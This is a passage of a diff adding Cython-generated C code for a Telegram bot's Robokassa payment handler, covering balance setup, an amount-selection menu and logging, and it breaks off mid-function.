__pyx_float_0_0) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L12_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 105, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 105, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":106 + * if not exists: + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * logger.info(f"Created new connection for user {tg_id} with balance 0.0.") # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_logger); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_info); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = PyTuple_New(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_Created_new_connection_for_user); + __pyx_t_4 += 32; + __Pyx_GIVEREF(__pyx_kp_u_Created_new_connection_for_user); + PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_kp_u_Created_new_connection_for_user); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u_with_balance_0_0); + __pyx_t_4 += 18; + __Pyx_GIVEREF(__pyx_kp_u_with_balance_0_0); + PyTuple_SET_ITEM(__pyx_t_6, 2, __pyx_kp_u_with_balance_0_0); + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_6, 3, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":104 + * if key_count == 0: + * exists = await check_connection_exists(tg_id) + * if not exists: # <<<<<<<<<<<<<< + * await add_connection(tg_id, balance=0.0, trial=0, session=session) + * logger.info(f"Created new connection for user {tg_id} with balance 0.0.") + */ + } + + /* "handlers/payments/robokassa_pay.py":102 + * key_count = await get_key_count(tg_id) + * + * if key_count == 0: # <<<<<<<<<<<<<< + * exists = await check_connection_exists(tg_id) + * if not exists: + */ + } + + /* "handlers/payments/robokassa_pay.py":108 + * logger.info(f"Created new connection for user {tg_id} with balance 0.0.") + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":109 + * + * await callback_query.message.answer( + * text=" :", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__5) < 0) __PYX_ERR(0, 109, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":110 + * await callback_query.message.answer( + * text=" :", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * await state.set_state(ReplenishBalanceState.choosing_amount_robokassa) + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 110, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_12 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_12, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 110, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 109, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":108 + * logger.info(f"Created new connection for user {tg_id} with balance 0.0.") + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" :", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L13_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 108, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 108, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":112 + * reply_markup=builder.as_markup(), + * ) + * await state.set_state(ReplenishBalanceState.choosing_amount_robokassa) # <<<<<<<<<<<<<< + * logger.info(f"Displayed amount selection for user {tg_id}.") + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_choosing_amount_robokassa); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_6}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 112, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 112, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":113 + * ) + * await state.set_state(ReplenishBalanceState.choosing_amount_robokassa) + * logger.info(f"Displayed amount selection for user {tg_id}.") # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_Displayed_amount_selection_for_u); + __pyx_t_4 += 36; + __Pyx_GIVEREF(__pyx_kp_u_Displayed_amount_selection_for_u); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_Displayed_amount_selection_for_u); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u__6); + __pyx_t_4 += 1; + __Pyx_GIVEREF(__pyx_kp_u__6); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u__6); + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_2}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/robokassa_pay.py":65 + * + * + * @router.callback_query(F.data == "pay_robokassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_robokassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_AddTraceback("process_callback_pay_robokassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_7generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/robokassa_pay.py":116 + * + * + * @router.callback_query(F.data.startswith("robokassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_6process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_6process_amount_selection = {"process_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_6process_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_6process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 116, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 116, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 116, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 116, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 116, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_5process_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_5process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 116, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13robokassa_pay_7generator1, __pyx_codeobj__7, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_robokassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_7generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + int __pyx_t_6; + Py_ssize_t __pyx_t_7; + int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + int __pyx_t_12; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + Py_UCS4 __pyx_t_15; + PyObject *__pyx_t_16 = NULL; + int __pyx_t_17; + char const *__pyx_t_18; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L7_resume_from_await; + case 2: goto __pyx_L22_resume_from_await; + case 3: goto __pyx_L27_resume_from_await; + case 4: goto __pyx_L28_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 116, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":120 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * logger.info(f" callback_data: {callback_query.data}") # <<<<<<<<<<<<<< + * + * data = callback_query.data.split("|") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_callback_data_2, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_4)) { + PyObject* function = 